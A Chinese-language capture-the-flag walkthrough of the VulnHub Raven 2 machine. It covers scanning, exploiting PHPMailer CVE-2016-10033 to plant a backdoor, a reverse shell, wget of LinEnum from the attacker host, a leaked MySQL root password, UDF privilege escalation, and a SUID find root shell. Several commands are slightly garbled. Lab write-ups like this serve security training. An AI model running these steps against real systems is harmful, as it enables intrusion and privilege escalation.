靶机地址:https://www.vulnhub.com/entry/raven-2,269/
目标:找到四个flag.txt信息
作者:尼德霍格007
时间:2021-7-8
准备工作:kali虚拟机(NAT),raven2虚拟机(NAT)
首先要确定目标机IP地址,nmap扫描
$ nmap -sP 192.168.21.0/24
之后查看开放端口,全端口扫描
可以看到目标机开放了22端口(SSH),80端口(HTTP)和两个其他端口(我不知道是干嘛的)
先访问80端口
看见网页,翻一翻,没有思路。
扫一下目录
工具:dirb
dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt
命令:dirb http://192.168.21.133
开始爆破
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YuQSNBMe-1625752439300)(https://i.loli.net/2021/07/08/4JcuP38BaTbO6IV.png)]
看到有一个vendor目录
是个目录遍历
一个一个查看
在path中发现了第一个flag
而且得到网站绝对路径/var/www/html/vendor/
继续找,在README.md中看到这个靶机有一个PHPMailer服务
在VERSION中看到版本是5.2.16,推测是PHPMailer的版本
百度这个版本相关漏洞
好家伙,直接搜出来一堆
使用searchsploit 搜索可以利用的漏洞
好像搜出来的都可以用
也可以到exploit-db.com搜索
跟着师傅们的路子走,选择40974这个
漏洞编号是CVE 2016-10033
将exp拷贝到当前目录
命令:cp /usr/share/exploitdb/exploits/php/webapps/40974.py .
这里要改一些40974.py的一些参数
头部要加上
#!/usr/bin/python
# -*- coding: utf-8 -*-
target要改成靶机的地址
backdoor就是后门文件,要和最后一个框里的名称对应
最后一个框的路径和名称要改一下,不能用默认的
执行
我这里报错了,安装一个requests_toolbelt模块即可解决
命令:
sudo apt-get install python3-pip
如果是python2的环境就把命令中的3去掉
执行
python3 40974.py
访问http://192.168.21.133/contact.php,他就会自动生成一个nide.php后门文件
开启监听(我这里由于8888端口监听不成功,就换成了4444)
然后访问后门文件
成功获得shell
继续用python获取pty
python -c ‘import pty;pty.spawn("/bin/bash")’
找了一番
成功获得第二个flag
得到两个flag,第二个我们看过了
查看第三个:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LrP5ULFq-1625752439315)(https://i.loli.net/2021/07/08/Wf92A7EhtJ8cZNu.png)]
最后一个flag需要提权
我们去网站根目录下看看
有个wordpress,看一下
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z1i5wlH2-1625752439316)(https://i.loli.net/2021/07/08/MnbAcvH5mwyqSxl.png)]
看一下配置文件
找到了数据库的root用户名和密码
用户名为:root
密码为:R@v3nSecurity
在这里利用Linux枚举漏洞工具LinEnum
下载地址:https://github.com/rebootuser/LinEnum
下载完,我们用python搭建以一个简易的服务器
命令:python -m SimpleHTTPServer 6666
把文件下载到靶机里面,给执行权限
wget http://192.168.21.128:6666/LinEnum.sh
没有错误提示说明上传成功
执行./LinEnum.sh
可以看到mysql是用root‘用户登陆的
使用命令:dpkg -l | grep mysqlmysql查看数据库版本是5.5.60
也可以连接数据库查看
mysql -u root -pR@v3nSecurity
select version();
百度找一下udf提权
查找可用的msf
使用第二个1518.c
拷贝出来
编译生成so文件
命令:gcc -g -c 1518.c
命令:gcc -g -shared -o nide.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
使用前面的python 6666服务传输到靶机
wget http://192.168.21.128:6666/nide.so
然后通过mysql进行UDF提权
进入数据库
创建数据表 foo
create table foo(line blob);
插入数据:insert into foo values(load_file(’/tmp/nide.so’));
Foo表成功插入二进制数据
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数
然后利用dumpfile函数把文件导出
命令:select * from foo into dumpfile ‘/usr/lib/mysql/plugin/nide3.so’;
创建自定义函数do_system 类型是integer,别名(soname)文件名字
命令:create function do_system returns integer soname ‘nide3.so’;
然后查询函数是否创建成功
命令:select * from mysql.func
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
任意创建一个文件
执行find命令
使用find执行 shell
命令:find finn -exec “/bin/sh” ;
成功获得root权限!!
终于拿下这台靶机
获得flag4
这次复现的难度挺大的,官方说是中等难度,但是我一路打下来比昨天打的Lampiao难多了,中间遇到的问题层出不穷。首先是在利用CVE 2016-10033漏洞时,改payload文件时就弄错了好久,之后在利用Linux枚举漏洞提权时,因为不熟悉数据库的相关操作,今天下午一直卡在这里,经历了重启虚拟机,重建数据表,重新添加一台虚拟机等多种方法后,终于在最后成功在数据库建立表,创建自定义函数,导出数据,提权,获得flag4。真的挺不容易的,再接再厉吧!